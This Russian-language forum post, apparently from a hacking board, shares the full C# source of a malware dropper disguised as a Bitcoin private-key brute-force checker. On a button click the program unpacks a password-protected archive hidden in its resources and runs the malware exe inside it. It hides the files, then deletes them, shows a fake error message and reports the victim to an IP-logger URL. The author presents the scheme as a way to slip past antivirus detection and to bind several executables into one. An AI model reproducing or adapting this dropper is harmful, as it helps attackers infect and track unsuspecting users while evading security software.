Что делает:
- Извлекает из ресурсов некий файл API.conf
- API.conf Это zip архив под паролем пароль в свою очередь закодирован в base64
- Распаковывает архив, в архиве куча папок и в конце одной из них exe малвари
- Накладывает атрибуты, скрытия и системные что бы не кто не чего не видел
- Форма запускает exe малвари ждет 2 сек, завершает и удаляет, 2сек хватает для моей малвари вы можете увеличить.
- После удаляет все созданные папки где была малварь
- И отстучим на IPlogger для отчетности ;-)
Все строки старался прокомментировать.Вам нужно только украсить форму разными кнопками типо мега крутой софт, и запаковать в zip архив с паролем свой exe в определенные папки они есть в коде,
архив переименовать в API.conf или свое имя, в коде меняем, ну и добавляем в ресурсы.
Суть схемы что бы малварь прожила дольше от слива к антивирусным компаниям, суть такая что малварь запустится только при условии нажатия на кнопку! И видна соответственно только при условии нажатия на тот злощастный батон.
Сама по себе форма безвредна, соответственно не думаю что ее добавят в большую часть баз АВ
Код мой большая часть, где то что то заимствовал, только для codeby.net
Учусь, прошу критики от профи.
C#:
using ICSharpCode.SharpZipLib.Core;
using ICSharpCode.SharpZipLib.Zip;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace GenPrivateKey___Brut_checker_BTC
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Button1_Click(object sender, EventArgs e)
{
File.WriteAllBytes("API.conf", Properties.Resources.API); // создаем файл из бинарного массива **** в Resources (если он есть, то будет переопределен) API.conf Это архив zip по паролем, пароль закодированн в base64
File.SetAttributes("API.conf", FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
//Работаем с архивом:
new Thread(() =>
{
try
{
string password = Encoding.ASCII.GetString(Convert.FromBase64String("QVBJd2luZG93c1Bhc3NDb25maWdz")); // Ваш пароль закодированный в Base64
ExtractZipFile("API.conf", password, @".\"); //Распакуем архив (как вы поняли API.conf это и есть архив)
File.SetAttributes(@".\goods\", FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя директории
File.SetAttributes(@".\goods\api\conf\API.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя API.exe (наша малварь)
Process proc = Process.Start(@".\goods\api\conf\API.exe"); //Запускаем exe малвари
Cursor = Cursors.WaitCursor; //Показываем курсор в ожидании типо что то делает
Thread.Sleep(2000); // Задержка
Cursor = Cursors.Default;
Thread.Sleep(2000); // Задержка
foreach (var process in Process.GetProcessesByName("API")) //Убиваем процесс API.exe что бы удалить выше задержка 2000мс этго хватит для отработки имено моего exe
{
process.Kill();
}
proc.WaitForExit();
File.Delete(@".\goods\api\conf\API.exe"); //Удаляем exe малвари
File.Delete("API.conf"); //Удаляем "Zip" архив
string directoria = @".\goods\"; //Читаем ниже
Directory.Delete(directoria, true); //Удаляем директорию с малварью нахрен
//Выводим фейковое сообщение об ошибке
MessageBox.Show(
"API server blockchain.com/ru/explorer unavailable",
"API Error",
MessageBoxButtons.YesNo,
MessageBoxIcon.Information,
MessageBoxDefaultButton.Button1,
MessageBoxOptions.DefaultDesktopOnly);
Logger.Get("https://yip.su/1mAct7.mp4"); //Отстукиваем на IPlogger
}
catch (Exception)
{
}
}).Start();
}
//Функция распаковки архива с левым расширением и закодированным паролем в base64 используется библиотека SharpZipLib так же Fody что бы Dll не таскать за собой
private void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
{
ZipFile zf = null;
try
{
FileStream fs = File.OpenRead(archiveFilenameIn);
zf = new ZipFile(fs);
if (!String.IsNullOrEmpty(password))
{
zf.Password = password;
}
foreach (ZipEntry zipEntry in zf)
{
if (!zipEntry.IsFile)
{
continue;
}
String entryFileName = zipEntry.Name;
byte[] buffer = new byte[4096];
Stream zipStream = zf.GetInputStream(zipEntry);
String fullZipToPath = Path.Combine(outFolder, entryFileName);
string directoryName = Path.GetDirectoryName(fullZipToPath);
if (directoryName.Length > 0)
Directory.CreateDirectory(directoryName);
using (FileStream streamWriter = File.Create(fullZipToPath))
{
StreamUtils.Copy(zipStream, streamWriter, buffer);
}
}
}
catch (Exception ex)
{
throw ex;
}
finally
{
if (zf != null)
{
zf.IsStreamOwner = true;
zf.Close();
}
}
}
private class Logger // Функция отстука на IPlogger
{
public static string Get(string url)
{
try
{
WebRequest webRequest = WebRequest.Create(url);
webRequest.Credentials = CredentialCache.DefaultCredentials;
webRequest.Headers.Add("Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3");
((HttpWebRequest)webRequest).UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0";
return new StreamReader(webRequest.GetResponse().GetResponseStream()).ReadToEnd();
}
catch (Exception)
{
return null;
}
}
}
}
}
Ссылка скрыта от гостей
Как видите полный фуд
Забыл сказать что таким методом в ресурсы можно добавить сколько угодно exe, т.е использовать как джойнер (склейщик двух/трех и т.д exe в 1) при чем безпалевный. Идея я думаю нова и АВ компаниям выбор придется делать что бы сигнатуры добавить к себе или сделать много чего, включая нормальный честный софт...так как я уже говорил форма проста и безвредна, просто тупой разархиватор... аля проактивка, ждемс